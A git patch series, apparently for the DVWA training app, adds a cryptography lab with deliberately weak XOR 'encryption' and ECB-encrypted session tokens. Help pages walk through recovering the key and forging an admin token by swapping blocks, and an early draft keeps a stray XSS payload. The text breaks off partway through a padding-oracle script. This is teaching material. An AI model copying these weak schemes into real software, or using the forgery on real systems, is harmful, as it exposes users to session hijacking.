From f51b415c32d1bead47b664150d5ee50ce8133fb7 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 14 Aug 2024 09:11:41 +0100 Subject: [PATCH 01/32] Structure and sample for ECB --- vulnerabilities/encryption/help/help.php | 0 vulnerabilities/encryption/index.php | 0 .../encryption/source/ecb_theory.php | 89 +++++++++++++++++++ vulnerabilities/encryption/source/high.php | 0 .../encryption/source/impossible.php | 0 vulnerabilities/encryption/source/low.php | 0 vulnerabilities/encryption/source/medium.php | 0 7 files changed, 89 insertions(+) create mode 100644 vulnerabilities/encryption/help/help.php create mode 100644 vulnerabilities/encryption/index.php create mode 100644 vulnerabilities/encryption/source/ecb_theory.php create mode 100644 vulnerabilities/encryption/source/high.php create mode 100644 vulnerabilities/encryption/source/impossible.php create mode 100644 vulnerabilities/encryption/source/low.php create mode 100644 vulnerabilities/encryption/source/medium.php diff --git a/vulnerabilities/encryption/help/help.php b/vulnerabilities/encryption/help/help.php new file mode 100644 index 00000000..e69de29b diff --git a/vulnerabilities/encryption/index.php b/vulnerabilities/encryption/index.php new file mode 100644 index 00000000..e69de29b diff --git a/vulnerabilities/encryption/source/ecb_theory.php b/vulnerabilities/encryption/source/ecb_theory.php new file mode 100644 index 00000000..53213973 --- /dev/null +++ b/vulnerabilities/encryption/source/ecb_theory.php @@ -0,0 +1,89 @@ +user == "sweep" && $user->ex > time() && $user->level == "admin") { + print "Welcome administrator Sweep\n"; +} else { + print "Failed\n"; +} + +?> diff --git a/vulnerabilities/encryption/source/high.php b/vulnerabilities/encryption/source/high.php new file mode 100644 index 00000000..e69de29b diff --git a/vulnerabilities/encryption/source/impossible.php b/vulnerabilities/encryption/source/impossible.php new file mode 100644 index 00000000..e69de29b diff --git a/vulnerabilities/encryption/source/low.php b/vulnerabilities/encryption/source/low.php new file mode 100644 index 00000000..e69de29b diff --git a/vulnerabilities/encryption/source/medium.php b/vulnerabilities/encryption/source/medium.php new file mode 100644 index 00000000..e69de29b From 8131b30e56fa215641b7b7dc5591e948296b1b92 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Wed, 14 Aug 2024 10:06:48 +0100 Subject: [PATCH 02/32] starting medium --- dvwa/includes/dvwaPage.inc.php | 1 + vulnerabilities/encryption/index.php | 73 ++++++++++++++++++++ vulnerabilities/encryption/source/medium.php | 1 + 3 files changed, 75 insertions(+) diff --git a/dvwa/includes/dvwaPage.inc.php b/dvwa/includes/dvwaPage.inc.php index adc9b0d6..7d36dcd1 100644 --- a/dvwa/includes/dvwaPage.inc.php +++ b/dvwa/includes/dvwaPage.inc.php @@ -305,6 +305,7 @@ function dvwaHtmlEcho( $pPage ) { $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'authbypass', 'name' => 'Authorisation Bypass', 'url' => 'vulnerabilities/authbypass/' ); } $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'open_redirect', 'name' => 'Open HTTP Redirect', 'url' => 'vulnerabilities/open_redirect/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'encryption', 'name' => 'Encryption', 'url' => 'vulnerabilities/encryption/' ); } $menuBlocks[ 'meta' ] = array(); diff --git a/vulnerabilities/encryption/index.php b/vulnerabilities/encryption/index.php index e69de29b..a6a65189 100644 --- a/vulnerabilities/encryption/index.php +++ b/vulnerabilities/encryption/index.php @@ -0,0 +1,73 @@ + +

Vulnerability: Encryption Problems

+ +
+

+ You have managed to get hold of three session tokens: +

+

+ Sooty (admin), session expired
+69c4d747c94fdf98c35ddef5d2f5837234864b91766173d070ea88d65db89d49c8d096998c4ab4398461744a3b521363 +

+

+ Sweep (user), session expired
+47899de18bf6d6e3f42fd4380fb2ee2534864b91766173d070ea88d65db89d49883f4cccde1544c898990b14bbd6475b +

+

+ Sue (user), session valid
+67f309a02169f997a4ba5f25a5bef16d8206f7b5b22657a68ac157eade9dc990883f4cccde1544c898990b14bbd6475b +

+"; +$page[ 'body' ] .= " + + {$html} +
+ +

More Information

+ +\n"; + +dvwaHtmlEcho( $page ); + +?> + diff --git a/vulnerabilities/encryption/source/medium.php b/vulnerabilities/encryption/source/medium.php index e69de29b..cbe13988 100644 --- a/vulnerabilities/encryption/source/medium.php +++ b/vulnerabilities/encryption/source/medium.php @@ -0,0 +1 @@ +From medium From a4431756c960fcb84e8cd7337008fb9f4f959b0f Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 16 Aug 2024 10:46:48 +0100 Subject: [PATCH 03/32] medium encryption working --- dvwa/css/main.css | 16 +++ vulnerabilities/encryption/help/help.php | 128 ++++++++++++++++++ vulnerabilities/encryption/index.php | 30 +--- .../encryption/source/ecb_theory.php | 52 ++++--- vulnerabilities/encryption/source/medium.php | 115 +++++++++++++++- 5 files changed, 285 insertions(+), 56 deletions(-) diff --git a/dvwa/css/main.css b/dvwa/css/main.css index 541c8789..77b09552 100644 --- a/dvwa/css/main.css +++ b/dvwa/css/main.css @@ -86,6 +86,22 @@ ul + ul, ul + ul.menuBlocks, ul + h1, ul + h2, ul + p { font-size: 13px; } +div.nearly { + border: 2px solid #0000ff; + padding: 10px 20px 10px 20px; + margin-top: 15px; + margin-bottom: 15px; +} + +div.success { + border: 2px solid #00ff00; + padding: 10px 20px 10px 20px; + text-align: center; + font-weight: bold; + margin-top: 15px; + margin-bottom: 15px; +} + div.warning { border: 2px solid #ff0000; padding: 10px 20px 10px 20px; diff --git a/vulnerabilities/encryption/help/help.php b/vulnerabilities/encryption/help/help.php index e69de29b..278be112 100644 --- a/vulnerabilities/encryption/help/help.php +++ b/vulnerabilities/encryption/help/help.php @@ -0,0 +1,128 @@ +
+

Help - Encryption Problems

+ +
+ + + + +
+

About

+

+ Cryptography is key area of security and is used to keep secrets secret. When implemented badly these secrets can be leaked or the crypto manipulated to bypass protections. +

+

+ This module will look at three weaknesses, using encoding istead of crypto, using algorithms with known weaknesses, and padding oracle attacks. +

+ +


+ +

Objective

+

Each level has its own objective but the general idea is to exploit weak cryptographic implementaions.

+ +


+ +

Low Level

+

Low level will not check the requested input, before including it to be used in the output text.

+
Spoiler: ?name=<script>alert("XSS");</script>.
+ +
+ +

Medium Level

+

The tokens are encrypted using an Electronic Code Book based algorithm (aes-128-ecb). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independantly of the rest. This results in a ciphertext block that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangable as long as they have been ecrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.

+

+ How do you know the block size? This is given in the algorithm name. aes-128-ebc is a 128 bit block cipher. 128 bits is 16 bytes, but to make things human readable, the bytes are represented as hex characters meaning each byte is two characters. This gives you a block size of 32 characters. Sooty's token is 192 characters long, 192 / 32 = 6 and so Sooty's token has six code blocks. +

+ +

+Let's start by breaking the tokens down into blocks.

+

Sooty:

+
e287af752ed3f9601befd45726785bd9
+b85bb230876912bf3c66e50758b222d0
+837d1e6b16bfae07b776feb7afe57630
+5aec34b41499579d3fb6acc8dc92fd5f
+cea8743c3b2904de83944d6b19733cdb
+48dd16048ed89967c250ab7f00629dba
+

+ +

Sweep:

+
3061837c4f9debaf19d4539bfa0074c1
+b85bb230876912bf3c66e50758b222d0
+83f2d277d9e5fb9a951e74bee57c77a3
+caeb574f10f349ed839fbfd223903368
+873580b2e3e494ace1e9e8035f0e7e07
+ +

Soo:

+
5fec0b1c993f46c8bad8a5c8d9bb9698
+174d4b2659239bbc50646e14a70becef
+83f2d277d9e5fb9a951e74bee57c77a3
+c9acb1f268c06c5e760a9d728e081fab
+65e83b9f97e65cb7c7c4b8427bd44abc
+16daa00fd8cd0105c97449185be77ef5
+ +

+ Each token has broken down nicely into blocks so we are on the right track. +

+

+ If you look carefully at the blocks you will see that there are some that repeat over the different tokens, this means that the same clear text has been encrypted to create the block. If we look at the description we can try to map these to the JSON object. +

+

+ Taking Sooty as an example: +

+

Sooty:

+
e287af752ed3f9601befd45726785bd9 <- Username
+b85bb230876912bf3c66e50758b222d0 <- Expiry
+837d1e6b16bfae07b776feb7afe57630 <- Level
+5aec34b41499579d3fb6acc8dc92fd5f <- Bio
+cea8743c3b2904de83944d6b19733cdb
+48dd16048ed89967c250ab7f00629dba
+

+

+ Assuming we are right with our mappings, if you compare the blocks that match you can see that Sooty and Sweep both have the same expiry block (b85bb230876912bf3c66e50758b222d0) and both Sweep and Soo have the same level block (83f2d277d9e5fb9a951e74bee57c77a3). This matches with what we know about the tokens as both Sooty and Sweep have expired tokens and both Sweep and Soo are users, not admins. +

+

+ Knowing all this, we can now create our forged session token. We need to take the username block from Sweep, the expiry block from Soo and the level block from Sooty. We can then finish the token off with the remaining blocks from any of the tokens. This gives us: +

+
3061837c4f9debaf19d4539bfa0074c1 <- Sweep as username
+174d4b2659239bbc50646e14a70becef <- Soo's expiry time
+837d1e6b16bfae07b776feb7afe57630 <- Sooty's admin privileges
+caeb574f10f349ed839fbfd223903368 <- Finish off with Sweep's bio
+873580b2e3e494ace1e9e8035f0e7e07
+

+ Which gives us... +

+

+ +

+

+ This is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors. +

+

+ If you want to play with this some more, there is a script calle ecb_theory.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens. +

+
Spoiler: 
+
+
+
+		
+ +
+ +

High Level

+

The developer now believes they can disable all JavaScript by removing the pattern "<s*c*r*i*p*t".

+
Spoiler: HTML events.
+ +
+ +

Impossible Level

+

Using inbuilt PHP functions (such as ""), + its possible to escape any values which would alter the behaviour of the input.

+
+ +
+ +
+ +

Reference:

+
+ diff --git a/vulnerabilities/encryption/index.php b/vulnerabilities/encryption/index.php index a6a65189..4ac7c5f8 100644 --- a/vulnerabilities/encryption/index.php +++ b/vulnerabilities/encryption/index.php @@ -31,39 +31,17 @@ require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/encryption/source/{$vulnerabilityFile}"; -$page[ 'body' ] .= " -
-

Vulnerability: Encryption Problems

+$page[ 'body' ] .= $content; -
-

- You have managed to get hold of three session tokens: -

-

- Sooty (admin), session expired
-69c4d747c94fdf98c35ddef5d2f5837234864b91766173d070ea88d65db89d49c8d096998c4ab4398461744a3b521363 -

-

- Sweep (user), session expired
-47899de18bf6d6e3f42fd4380fb2ee2534864b91766173d070ea88d65db89d49883f4cccde1544c898990b14bbd6475b -

-

- Sue (user), session valid
-67f309a02169f997a4ba5f25a5bef16d8206f7b5b22657a68ac157eade9dc990883f4cccde1544c898990b14bbd6475b -

-"; $page[ 'body' ] .= " - {$html}

More Information

    -
  • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss/' ) . "
  • -
  • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/xss-filter-evasion-cheatsheet' ) . "
  • -
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . "
  • -
  • " . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/xss-faq.html' ) . "
  • -
  • " . dvwaExternalLinkUrlGet( 'https://www.scriptalert1.com/' ) . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://exploit-notes.hdks.org/exploit/cryptography/algorithm/aes-ecb-padding-attack' ) . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://www.scottbrady91.com/cryptopals/implementing-and-breaking-aes-ecb' ) . "
  • +
  • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation' ) . "
\n"; diff --git a/vulnerabilities/encryption/source/ecb_theory.php b/vulnerabilities/encryption/source/ecb_theory.php index 53213973..40502a48 100644 --- a/vulnerabilities/encryption/source/ecb_theory.php +++ b/vulnerabilities/encryption/source/ecb_theory.php @@ -1,43 +1,35 @@ user == "sweep" && $user->ex > time() && $user->level == "admin") { + $success = "Welcome administrator Sweep"; + } else { + $messages = "Login successful but not as the right user."; + } + } + } + } catch(Exception $e) { + $errors = $e->getMessage(); + } +} + +$content = " +
+

Vulnerability: Encryption Problems

+ +
+

+ You have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets: +

+

+ Sooty (admin), session expired +

+

+ +

+

+ Sweep (user), session expired +

+

+ +

+

+ Soo (user), session valid +

+

+ +

+

+ Based on the documentation, you know the format of the token is: +

+
{
+    \"user\": \"example\",
+    \"ex\": 1723620372,
+    \"level\": \"user\",
+    \"bio\": \"blah\"
+}
+

+You also spot this comment in the docs: +

+
+To ensure your security, we use aes-128-ecb throughout our application. +
+ +
+

+ Manipulate the session tokens you have captured to log in as Sweep with admin privileges. +"; + +if ($errors != "") { + $content .= '

' . $errors . '
'; +} + +if ($messages != "") { + $content .= '
' . $messages . '
'; +} + +if ($success != "") { + $content .= '
' . $success . '
'; +} + +$content .= " +
+

+

+

+ +

+
+"; +?> From a2c019a68546da7e5b902cb05d452e192c580186 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Tue, 2 Jul 2024 03:51:04 +0100 Subject: [PATCH 04/32] holding pages for other levels --- vulnerabilities/encryption/index.php | 6 ++++++ vulnerabilities/encryption/source/high.php | 5 +++++ vulnerabilities/encryption/source/impossible.php | 5 +++++ vulnerabilities/encryption/source/low.php | 5 +++++ vulnerabilities/encryption/source/medium.php | 4 ---- 5 files changed, 21 insertions(+), 4 deletions(-) diff --git a/vulnerabilities/encryption/index.php b/vulnerabilities/encryption/index.php index 4ac7c5f8..71b26d67 100644 --- a/vulnerabilities/encryption/index.php +++ b/vulnerabilities/encryption/index.php @@ -31,6 +31,12 @@ require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/encryption/source/{$vulnerabilityFile}"; +$page[ 'body' ] .= "
+

Vulnerability: Encryption Problems

+ +
+"; + $page[ 'body' ] .= $content; $page[ 'body' ] .= " diff --git a/vulnerabilities/encryption/source/high.php b/vulnerabilities/encryption/source/high.php index e69de29b..e6953cd4 100644 --- a/vulnerabilities/encryption/source/high.php +++ b/vulnerabilities/encryption/source/high.php @@ -0,0 +1,5 @@ + diff --git a/vulnerabilities/encryption/source/impossible.php b/vulnerabilities/encryption/source/impossible.php index e69de29b..e6953cd4 100644 --- a/vulnerabilities/encryption/source/impossible.php +++ b/vulnerabilities/encryption/source/impossible.php @@ -0,0 +1,5 @@ + diff --git a/vulnerabilities/encryption/source/low.php b/vulnerabilities/encryption/source/low.php index e69de29b..e6953cd4 100644 --- a/vulnerabilities/encryption/source/low.php +++ b/vulnerabilities/encryption/source/low.php @@ -0,0 +1,5 @@ + diff --git a/vulnerabilities/encryption/source/medium.php b/vulnerabilities/encryption/source/medium.php index 8b17bb33..1fc9bf3c 100644 --- a/vulnerabilities/encryption/source/medium.php +++ b/vulnerabilities/encryption/source/medium.php @@ -42,10 +42,6 @@ function decrypt ($ciphertext, $key) { } $content = " -
-

Vulnerability: Encryption Problems

- -

You have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets:

From 16aaa92447e16f64fd8e1f4fba5ad2734a0c0364 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 19 Aug 2024 15:05:56 +0100 Subject: [PATCH 05/32] changing variable --- vulnerabilities/encryption/source/medium.php | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/vulnerabilities/encryption/source/medium.php b/vulnerabilities/encryption/source/medium.php index 1fc9bf3c..b07efcc3 100644 --- a/vulnerabilities/encryption/source/medium.php +++ b/vulnerabilities/encryption/source/medium.php @@ -41,7 +41,7 @@ function decrypt ($ciphertext, $key) { } } -$content = " +$html = "

You have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets:

@@ -85,18 +85,18 @@ function decrypt ($ciphertext, $key) { "; if ($errors != "") { - $content .= '
' . $errors . '
'; + $html .= '
' . $errors . '
'; } if ($messages != "") { - $content .= '
' . $messages . '
'; + $html .= '
' . $messages . '
'; } if ($success != "") { - $content .= '
' . $success . '
'; + $html .= '
' . $success . '
'; } -$content .= " +$html .= "

"; -$page[ 'body' ] .= $content; - $page[ 'body' ] .= " {$html}
From 3545de0cef43c10013c51c70cf2bf89d24f3f3a1 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 19 Aug 2024 15:11:09 +0100 Subject: [PATCH 07/32] Start of low --- vulnerabilities/encryption/source/low.php | 97 ++++++++++++++++++- .../encryption/source/xor_theory.php | 36 +++++++ 2 files changed, 132 insertions(+), 1 deletion(-) create mode 100644 vulnerabilities/encryption/source/xor_theory.php diff --git a/vulnerabilities/encryption/source/low.php b/vulnerabilities/encryption/source/low.php index e6953cd4..cbff0e85 100644 --- a/vulnerabilities/encryption/source/low.php +++ b/vulnerabilities/encryption/source/low.php @@ -1,5 +1,100 @@ '; // For debugging + } + } + return $outText; +} + +$key = "wachtwoord"; + +$errors = ""; +$success = ""; +$messages = ""; +$encoded = null; +$encode_radio_selected = " checked='checked' "; +$decode_radio_selected = " "; + +if ($_SERVER['REQUEST_METHOD'] == "POST") { + try { + if (array_key_exists ('message', $_POST)) { + $message = $_POST['message']; + if (array_key_exists ('direction', $_POST) && $_POST['direction'] == "decode") { + $encoded = xor_this (base64_decode ($message), $key); + $encode_radio_selected = " "; + $decode_radio_selected = " checked='checked' "; + } else { + $encoded = base64_encode(xor_this ($message, $key)); + } + } + } catch(Exception $e) { + $errors = $e->getMessage(); + } +} + +$html = " +

+ This super secure system will allow you to exchange messages with your friends without anyone else being able to read them. Use the box below to encode and decode messages. +

+ +

+

+

+ or + +

+

+ +

+ +"; + +if (!is_null ($encoded)) { + $html .= " +

+

"; +} + +$html .= " +
+

+ You have intercepted the following message, decode it and log in below. +"; + +if ($errors != "") { + $html .= '

' . $errors . '
'; +} + +if ($messages != "") { + $html .= '
' . $messages . '
'; +} + +if ($success != "") { + $html .= '
' . $success . '
'; +} + +$html .= " +
+

+

+

+ +

+
+"; ?> diff --git a/vulnerabilities/encryption/source/xor_theory.php b/vulnerabilities/encryption/source/xor_theory.php new file mode 100644 index 00000000..ad04c2ad --- /dev/null +++ b/vulnerabilities/encryption/source/xor_theory.php @@ -0,0 +1,36 @@ +'; // For debugging + } + } + return $outText; +} + +$clear = "hello world, what a great day"; +$key = "wachtwoord"; + +print "Clear text\n" . $clear . "\n"; +print "\n"; + +$encoded = (xor_this($clear, $key)); +$b64_encoded = base64_encode ($encoded); +print "Encoded text\n"; +var_dump ($b64_encoded); +print "\n"; + +$b64_decoded = base64_decode ($b64_encoded); +$decoded = xor_this($b64_decoded, $key); +print "Decoded text\n"; +var_dump ($decoded); +print "\n"; + +?> From 83d3213414ed2d46a8805d0b53213d91df85af88 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 23 Aug 2024 20:59:02 +0100 Subject: [PATCH 08/32] Low level working --- dvwa/includes/dvwaPage.inc.php | 2 +- .../help/help.php | 50 ++++++++++++++++--- .../{encryption => cryptography}/index.php | 12 ++--- .../source/ecb_theory.php | 0 .../source/high.php | 0 .../source/impossible.php | 1 + .../source/low.php | 24 ++++++--- .../source/medium.php | 0 .../source/xor_theory.php | 0 9 files changed, 68 insertions(+), 21 deletions(-) rename vulnerabilities/{encryption => cryptography}/help/help.php (62%) rename vulnerabilities/{encryption => cryptography}/index.php (74%) rename vulnerabilities/{encryption => cryptography}/source/ecb_theory.php (100%) rename vulnerabilities/{encryption => cryptography}/source/high.php (100%) rename vulnerabilities/{encryption => cryptography}/source/impossible.php (69%) rename vulnerabilities/{encryption => cryptography}/source/low.php (81%) rename vulnerabilities/{encryption => cryptography}/source/medium.php (100%) rename vulnerabilities/{encryption => cryptography}/source/xor_theory.php (100%) diff --git a/dvwa/includes/dvwaPage.inc.php b/dvwa/includes/dvwaPage.inc.php index 7d36dcd1..d7fb5d97 100644 --- a/dvwa/includes/dvwaPage.inc.php +++ b/dvwa/includes/dvwaPage.inc.php @@ -305,7 +305,7 @@ function dvwaHtmlEcho( $pPage ) { $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'authbypass', 'name' => 'Authorisation Bypass', 'url' => 'vulnerabilities/authbypass/' ); } $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'open_redirect', 'name' => 'Open HTTP Redirect', 'url' => 'vulnerabilities/open_redirect/' ); - $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'encryption', 'name' => 'Encryption', 'url' => 'vulnerabilities/encryption/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'encryption', 'name' => 'Cryptography', 'url' => 'vulnerabilities/cryptography/' ); } $menuBlocks[ 'meta' ] = array(); diff --git a/vulnerabilities/encryption/help/help.php b/vulnerabilities/cryptography/help/help.php similarity index 62% rename from vulnerabilities/encryption/help/help.php rename to vulnerabilities/cryptography/help/help.php index 278be112..1640f84e 100644 --- a/vulnerabilities/encryption/help/help.php +++ b/vulnerabilities/cryptography/help/help.php @@ -1,5 +1,5 @@
-

Help - Encryption Problems

+

Help - Cryptographic Problems

@@ -10,24 +10,58 @@ Cryptography is key area of security and is used to keep secrets secret. When implemented badly these secrets can be leaked or the crypto manipulated to bypass protections.

- This module will look at three weaknesses, using encoding istead of crypto, using algorithms with known weaknesses, and padding oracle attacks. + This module will look at three weaknesses, using encoding instead of encryption, using algorithms with known weaknesses, and padding oracle attacks.




Objective

-

Each level has its own objective but the general idea is to exploit weak cryptographic implementaions.

+

Each level has its own objective but the general idea is to exploit weak cryptographic implementations.




Low Level

-

Low level will not check the requested input, before including it to be used in the output text.

-
Spoiler: ?name=<script>alert("XSS");</script>.
+

The first thing to notice is the mention of encoding rather than encryption, that should give you a hint about the vulnerability here.

+

Start by encoding a few messages and looking at the output, if you have spent any time around encoding standards you should be able to tell that it is in Base64. Could it be that simple? Try Base64 decoding some test strings to find out:

+
encode (hello) -> HwQPBBs=
+base64decode (HwQPBBs=) -> 0x1f 0x04 0x0f 0x04 0x1b
+
encode (a secret) -> FkEQDRcFChs=
+base64decode (FkEQDRcFChs=) -> 0x16 0x41 0x10 0x0d 0x17 0x05 0x0a 0x1b
+

+That failed, but what you might notice is that the number of output characters matches the number of input characters. Another common encoding method that is sometimes mistaken for encryption is XOR, this takes the clear text input and XORs each character with a key which is repeated or truncated to be the same length as the input.

+

+XOR is associative, this means that if you XOR the clear text with the key you get the cipher text and if you XOR the cipher text with the key you get the clear text, what it also means is if you XOR the clear text with the cipher text, you get the key. Let's try this with our examples: +

+
encode (hello) -> HwQPBBs=
+xor (HwQPBBs=, hello) -> wacht
+

+This looks promising, let's try the second example: +

+
encode (a secret) -> FkEQDRcFChs=
+xor (FkEQDRcFChs=, a secret) -> wachtwoo
-
+

+There is no repetition in the key yet so let's try with a longer string. +

+ +
encode (thisisaverylongstringtofindthepassword) -> AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=
+xor (thisisaverylongstringtofindthepassword, base64decode (AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=)) -> wachtwoordwachtwoordwachtwoordwachtwoo
+ +

+It looks like we have found our key "wachtwoord". Let's give it a try on our challenge string: +

+ +
xor (base64decode(Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=), wachtwoord) -> Your new password is: Olifant
+ + +

+And there we have it, the message we are looking for and the password we need to login. +

+ +

Another lesson here, do not assume that the messages or the underlying system you are working with is in English. The key "wachtwoord" is Dutch for password.

Medium Level

-

The tokens are encrypted using an Electronic Code Book based algorithm (aes-128-ecb). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independantly of the rest. This results in a ciphertext block that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangable as long as they have been ecrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.

+

The tokens are encrypted using an Electronic Code Book based algorithm (aes-128-ecb). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independently of the rest. This results in a cipher text block that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangeable as long as they have been encrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.

How do you know the block size? This is given in the algorithm name. aes-128-ebc is a 128 bit block cipher. 128 bits is 16 bytes, but to make things human readable, the bytes are represented as hex characters meaning each byte is two characters. This gives you a block size of 32 characters. Sooty's token is 192 characters long, 192 / 32 = 6 and so Sooty's token has six code blocks.

@@ -96,7 +130,7 @@ This is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors.

- If you want to play with this some more, there is a script calle ecb_theory.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens. + If you want to play with this some more, there is a script called ecb_theory.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens.

Spoiler: 
 
diff --git a/vulnerabilities/encryption/index.php b/vulnerabilities/cryptography/index.php
similarity index 74%
rename from vulnerabilities/encryption/index.php
rename to vulnerabilities/cryptography/index.php
index 55fa79ab..ce3950ea 100644
--- a/vulnerabilities/encryption/index.php
+++ b/vulnerabilities/cryptography/index.php
@@ -6,10 +6,10 @@
 dvwaPageStartup( array( 'authenticated' ) );
 
 $page = dvwaPageNewGrab();
-$page[ 'title' ]   = 'Vulnerability: Encryption Problems' . $page[ 'title_separator' ].$page[ 'title' ];
-$page[ 'page_id' ] = 'encryption';
-$page[ 'help_button' ]   = 'encryption';
-$page[ 'source_button' ] = 'encryption';
+$page[ 'title' ]   = 'Vulnerability: Cryptography Problems' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'cryptography';
+$page[ 'help_button' ]   = 'cryptography';
+$page[ 'source_button' ] = 'cryptography';
 
 dvwaDatabaseConnect();
 
@@ -29,10 +29,10 @@
 		break;
 }
 
-require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/encryption/source/{$vulnerabilityFile}";
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/cryptography/source/{$vulnerabilityFile}";
 
 $page[ 'body' ] .= "
-

Vulnerability: Encryption Problems

+

Vulnerability: Cryptography Problems

"; diff --git a/vulnerabilities/encryption/source/ecb_theory.php b/vulnerabilities/cryptography/source/ecb_theory.php similarity index 100% rename from vulnerabilities/encryption/source/ecb_theory.php rename to vulnerabilities/cryptography/source/ecb_theory.php diff --git a/vulnerabilities/encryption/source/high.php b/vulnerabilities/cryptography/source/high.php similarity index 100% rename from vulnerabilities/encryption/source/high.php rename to vulnerabilities/cryptography/source/high.php diff --git a/vulnerabilities/encryption/source/impossible.php b/vulnerabilities/cryptography/source/impossible.php similarity index 69% rename from vulnerabilities/encryption/source/impossible.php rename to vulnerabilities/cryptography/source/impossible.php index e6953cd4..bd7981fc 100644 --- a/vulnerabilities/encryption/source/impossible.php +++ b/vulnerabilities/cryptography/source/impossible.php @@ -1,5 +1,6 @@ diff --git a/vulnerabilities/encryption/source/low.php b/vulnerabilities/cryptography/source/low.php similarity index 81% rename from vulnerabilities/encryption/source/low.php rename to vulnerabilities/cryptography/source/low.php index cbff0e85..235ed19d 100644 --- a/vulnerabilities/encryption/source/low.php +++ b/vulnerabilities/cryptography/source/low.php @@ -6,10 +6,8 @@ function xor_this($cleartext, $key) { // Iterate through each character for($i=0; $i'; // For debugging } } return $outText; @@ -23,6 +21,7 @@ function xor_this($cleartext, $key) { $encoded = null; $encode_radio_selected = " checked='checked' "; $decode_radio_selected = " "; +$message = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { try { @@ -36,6 +35,15 @@ function xor_this($cleartext, $key) { $encoded = base64_encode(xor_this ($message, $key)); } } + if (array_key_exists ('password', $_POST)) { + $password = $_POST['password']; + $decoded = xor_this (base64_decode ($password), $key); + if ($password == "Olifant") { + $success = "Welcome back user"; + } else { + $errors = "Login Failed"; + } + } } catch(Exception $e) { $errors = $e->getMessage(); } @@ -72,6 +80,10 @@ function xor_this($cleartext, $key) {

You have intercepted the following message, decode it and log in below. +

+

+ +

"; if ($errors != "") { @@ -89,11 +101,11 @@ function xor_this($cleartext, $key) { $html .= "

-

- +

"; diff --git a/vulnerabilities/encryption/source/medium.php b/vulnerabilities/cryptography/source/medium.php similarity index 100% rename from vulnerabilities/encryption/source/medium.php rename to vulnerabilities/cryptography/source/medium.php diff --git a/vulnerabilities/encryption/source/xor_theory.php b/vulnerabilities/cryptography/source/xor_theory.php similarity index 100% rename from vulnerabilities/encryption/source/xor_theory.php rename to vulnerabilities/cryptography/source/xor_theory.php From 567403a575b3857937f074fe53739dbb3d17eb4e Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 23 Aug 2024 22:42:44 +0100 Subject: [PATCH 09/32] started playing with AES --- .../cryptography/source/oracle.php | 43 ++++++++++ vulnerabilities/cryptography/source/oracle.py | 84 +++++++++++++++++++ 2 files changed, 127 insertions(+) create mode 100644 vulnerabilities/cryptography/source/oracle.php create mode 100644 vulnerabilities/cryptography/source/oracle.py diff --git a/vulnerabilities/cryptography/source/oracle.php b/vulnerabilities/cryptography/source/oracle.php new file mode 100644 index 00000000..f965a73d --- /dev/null +++ b/vulnerabilities/cryptography/source/oracle.php @@ -0,0 +1,43 @@ += 32): + k = key[:32] + elif (key_length >= 24): + k = key[:24] + else: + k = key[:16] + + aes = AES.new(k, AES.MODE_CBC, iv[:16]) + pad_text = 